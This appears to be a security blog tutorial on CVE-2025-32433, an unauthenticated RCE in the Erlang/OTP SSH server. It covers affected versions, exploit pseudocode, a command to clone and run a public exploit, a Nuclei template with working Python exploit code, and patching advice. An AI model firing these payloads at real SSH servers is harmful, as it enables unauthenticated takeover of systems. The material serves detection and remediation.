How to check and exploit CVE-2025-32433: Critical Unauthenticated RCE Vulnerability in Erlang/OTP SSH
CVE-2025-32433 is a critical remote code execution (RCE) vulnerability in the SSH server implementation of Erlang/OTP. This vulnerability allows attackers to execute arbitrary commands without authentication.
Overview of CVE-2025-32433
CVE-2025-32433 is a critical remote code execution (RCE) vulnerability in the SSH server implementation of Erlang/OTP. This vulnerability allows attackers to execute arbitrary commands without authentication by sending crafted SSH protocol messages. Given its wide use in telecommunications, IoT platforms, and distributed applications, many systems are vulnerable.
Root Cause and Affected Systems
The vulnerability arises due to improper handling of SSH messages during the handshake phase. Specifically, Erlang/OTP SSH servers mistakenly process certain messages before authentication completes, allowing unauthenticated command execution.
Affected versions include Erlang/OTP 27.3.2 and earlier, OTP 26.2.5.10 and earlier, and OTP 25.3.2.19 and earlier. Systems commonly impacted include telecom equipment, industrial IoT devices, and popular services like RabbitMQ and CouchDB.
Exploitation Steps and Example Payloads
Exploiting CVE-2025-32433 involves these key steps:
- Initial Connection and Handshake: Initiate TCP connection to SSH (port 22) and exchange SSH banners.
- Key Exchange Initiation: Send a minimal SSH_MSG_KEXINIT packet to start key exchange.
- Open Channel Pre-Authentication: Issue an SSH_MSG_CHANNEL_OPEN request prematurely.
- Send Malicious Command: Use SSH_MSG_CHANNEL_REQUEST to execute a command directly.
# Pseudocode for CVE-2025-32433 exploit
s = socket.connect((target_host, 22))
s.send(b"SSH-2.0-ExploitClient\r\n") # Send client banner
banner = s.recv(1024) # Receive server banner (likely contains "Erlang")
# ... normally, would perform SSH key exchange here ...
# Send SSH_MSG_CHANNEL_OPEN (for channel 0, type "session")
chan_open_pkt = build_packet(MSG_CHANNEL_OPEN,
string("session") + # channel type
int_to_bytes(0) + # sender channel ID
int_to_bytes(0x68000) + # initial window size
int_to_bytes(0x10000) # max packet size
)
s.send(chan_open_pkt)
# Send SSH_MSG_CHANNEL_REQUEST (type "exec") with our malicious command
payload_cmd = 'os:cmd("touch /tmp/pwned").' # example: create a file or execute an OS command
chan_req_pkt = build_packet(MSG_CHANNEL_REQUEST,
int_to_bytes(0) + # recipient channel ID (channel 0)
string("exec") +
byte(1) + # want_reply = TRUE (request a response, optional)
string(payload_cmd)
)
s.send(chan_req_pkt)
# If vulnerable, the server will execute the payload here (creating /tmp/pwned).
Example Payload:
os:cmd("touch /tmp/pwned")Complete Exploit Example
A complete exploit demonstration is available on GitHub at ProDefense's CVE-2025-32433 repository.
Running the exploit:

git clone https://github.com/ProDefense/CVE-2025-32433.git
cd CVE-2025-32433
python3 exploit.py <target-ip>Real-World Impact and Attack Scenarios
Attackers can exploit this vulnerability for:
- Instant Remote Takeover: Gaining immediate root access.
- Mass Scanning and Wormable Attacks: Automated scans for vulnerable SSH instances.
- Targeting Critical Infrastructure: Affecting telecom and IoT networks.
- Lateral Movement and Insider Threats: Exploiting internal Erlang SSH services.
Detecting CVE-2025-32433 with Nuclei
To detect vulnerable SSH services, cybersecurity professionals can use ProjectDiscovery’s Nuclei with the official CVE-2025-32433 template.
Nuclei command:
nuclei -t cves/2025/CVE-2025-32433.yaml -target <target-ip> -p 22Nuclei Template for CVE-2025-32433
More details at https://nuclei-templates.com/vulnerability/code/cves/2025/cve-2025-32433/
id: CVE-2025-32433
info:
name: Erlang/OTP SSH - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch,darses
severity: critical
description: |
Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
remediation: |
This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
reference:
- https://platformsecurity.com/blog/CVE-2025-32433-poc
- https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
- https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f
- https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891
- https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
- https://nvd.nist.gov/vuln/detail/CVE-2025-32433
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.00386
epss-percentile: 0.58724
metadata:
verified: true
max-request: 1
shodan-query: "Erlang OTP"
tags: cve,cve2025,erlang,otp,ssh,rce,oast
variables:
OAST: "{{interactsh-url}}"
code:
- engine:
- py
- python3
source: |
import socket,os
import struct
import time
import binascii
HOST = os.getenv('Host')
PORT = os.getenv('Port')
def hexdump(data):
return ' '.join([f'{b:02x}' for b in data])
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_packet(payload):
padding_length = 8 - ((len(payload) + 5) % 8)
if padding_length < 4:
padding_length += 8
packet_length = len(payload) + padding_length + 1
packet = (
struct.pack(">I", packet_length) +
bytes([padding_length]) +
payload +
b"\x00" * padding_length
)
return packet
def build_channel_open(channel_id=0):
return build_packet(
b"\x5a" +
string_payload("session") +
struct.pack(">I", channel_id) +
struct.pack(">I", 0x100000) +
struct.pack(">I", 0x8000) +
b""
)
def build_channel_request(channel_id=0, command=""):
return build_packet(
b"\x62" +
struct.pack(">I", channel_id) +
string_payload("exec") +
b"\x01" +
string_payload(command)
)
def build_kexinit():
cookie = b"\x00" * 16
kex_algorithms = ["[email protected]", "diffie-hellman-group14-sha1"]
host_key_algorithms = ["ssh-rsa","rsa-sha2-512","rsa-sha2-256"]
ciphers = ["aes128-ctr"]
macs = ["hmac-sha1"]
compression = ["none"]
payload = (
b"\x14" +
cookie +
string_payload(",".join(kex_algorithms)) +
string_payload(",".join(host_key_algorithms)) +
string_payload(",".join(ciphers)) +
string_payload(",".join(ciphers)) +
string_payload(",".join(macs)) +
string_payload(",".join(macs)) +
string_payload(",".join(compression)) +
string_payload(",".join(compression)) +
string_payload("") +
string_payload("") +
b"\x00" +
struct.pack(">I", 0)
)
return build_packet(payload)
def receive_packet(sock, timeout=5):
sock.settimeout(timeout)
try:
size_data = sock.recv(4)
if not size_data:
return None
packet_size = struct.unpack(">I", size_data)[0]
packet = sock.recv(packet_size)
return packet
except socket.timeout:
print("[!] Timeout waiting for response")
return None
except Exception as e:
print(f"[!] Error receiving packet: {e}")
return None
try:
with socket.create_connection((HOST, PORT)) as s:
print("[*] Connecting to SSH server...")
# Send initial SSH version with specific version string
version = b"SSH-2.0-OpenSSH_7.4\r\n"
s.sendall(version)
banner = s.recv(1024)
#print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
#print("[*] Sending KEXINIT...")
s.sendall(build_kexinit())
response = receive_packet(s)
if response:
print("[+] Received KEXINIT response")
print("[*] Sending channel_open...")
s.sendall(build_channel_open())
response = receive_packet(s)
if response:
print("[+] Channel opened successfully")
msg_type = response[1] if len(response) > 1 else None
time.sleep(1)
# Try different payload formats
payloads = [
'inet:gethostbyname("' + os.getenv('OAST') + '").'
]
for payload in payloads:
print(f"[*] Trying payload: {payload}")
s.sendall(build_channel_request(command=payload))
response = receive_packet(s)
if response:
print(f"[+] Response received for payload: {payload}")
time.sleep(1)
print("[*] Exploit attempt completed")
except Exception as e:
print(f"[!] Error during exploitation: {e}")
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: andNuclei identifies Erlang SSH services by banners and tests command execution using DNS-based interactions.
Mitigation and Best Practices
- Immediate Patching: Upgrade Erlang/OTP to versions 27.3.3, 26.2.5.11, or 25.3.2.20.
- Vendor-specific Updates: Apply security advisories from third-party vendors promptly.
- Temporary Workarounds: Restrict SSH access through firewall rules or temporarily disable SSH services.
- Enhanced Monitoring: Use IDS/IPS to detect anomalous SSH traffic patterns.
- Asset Inventory: Conduct audits to discover Erlang installations and incorporate them into regular patch cycles.
Conclusion
CVE-2025-32433 highlights critical vulnerabilities even in robust protocols like SSH. The immediate availability of exploit code underscores the importance of rapid response and proactive patch management. Cybersecurity teams must swiftly identify and secure vulnerable Erlang/OTP instances to mitigate potential widespread impacts.